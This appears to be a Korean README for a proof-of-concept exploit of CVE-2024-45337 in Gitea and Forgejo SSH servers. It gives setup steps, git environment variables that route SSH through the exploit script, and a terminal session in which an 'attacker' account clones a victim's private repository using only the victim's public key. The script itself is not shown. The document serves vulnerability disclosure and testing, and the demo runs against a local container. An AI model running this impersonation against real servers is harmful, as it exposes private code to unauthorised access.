
Gitea 및 Forgejo 대상 CVE-2024-45337 개념 증명
===
이 저장소에는 CVE-2024-45337에 대한 개념 증명 익스플로잇이 포함되어 있습니다. 이는 golang.org/x/crypto <= v0.30.0을 사용하여 구현되고 ServerConfig.PublicKeyCallback 콜백에서 권한을 안전하지 않은 방식으로 캐싱하는 SSH 서버와 상호작용할 때 ssh를 래핑하는 데 사용할 수 있습니다.
Gitea <= 1.22.4 및 Forgejo <= 7.0.11, 9.0.2는 내부 SSH 서버를 사용하여 호스팅할 때 취약합니다. 대상 사용자가 계정과 연결한 공개 키 중 하나만 알면 모든 사용자를 가장할 수 있습니다. SSH 인증에 사용할 계정이 직접 필요합니다.
docker compose -f docker-compose.forgejo.yml up -d
victim 사용자를 등록하세요.
important_repo라는 비공개 저장소를 만들고 README가 포함된 초기 커밋을 생성하여 클론할 수 있는 상태로 만드세요.attacker 사용자를 등록하세요.
GIT_ATTACK_PRIVKEY를 유효한 계정의 개인 키 경로로 설정하세요.GIT_ATTACK_PUBKEY를 다른 대상 계정의 알려진 공개 키 경로로 설정하세요. 해당 키의 개인 키는 알 수 없습니다.git이 기본 ssh 명령 대신 이 익스플로잇 스크립트를 사용하도록 GIT_SSH를 스크립트 경로로 설정하세요.GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
클론 중에 키를 지정하려면 .ssh/config를 사용하세요.
Host sshvictim
Hostname localhost
Port 222
User git
IdentityFile /path/to/id_ed25519_victim
IdentitiesOnly yes
Host sshattacker
Hostname localhost
Port 222
User git
IdentityFile /path/to/id_ed25519_attacker
IdentitiesOnly yes
위와 같이 설정된 로컬 Forgejo 7.0.11 컨테이너에 대해 실행하세요.
$ ssh-keygen -t ed25519 -f id_ed25519_victim
$ ssh-keygen -t ed25519 -f id_ed25519_attacker
$ git clone sshattacker:victim/important_repo.git
Cloning into 'important_repo'...
Forgejo: User: 2:attacker with Key: 2:attacker is not authorized to read victim/important_repo.
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
$ git clone sshvictim:victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
# Delete private key of victim for demo purposes
$ rm -rf important_repo id_ed25519_victim
$ GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.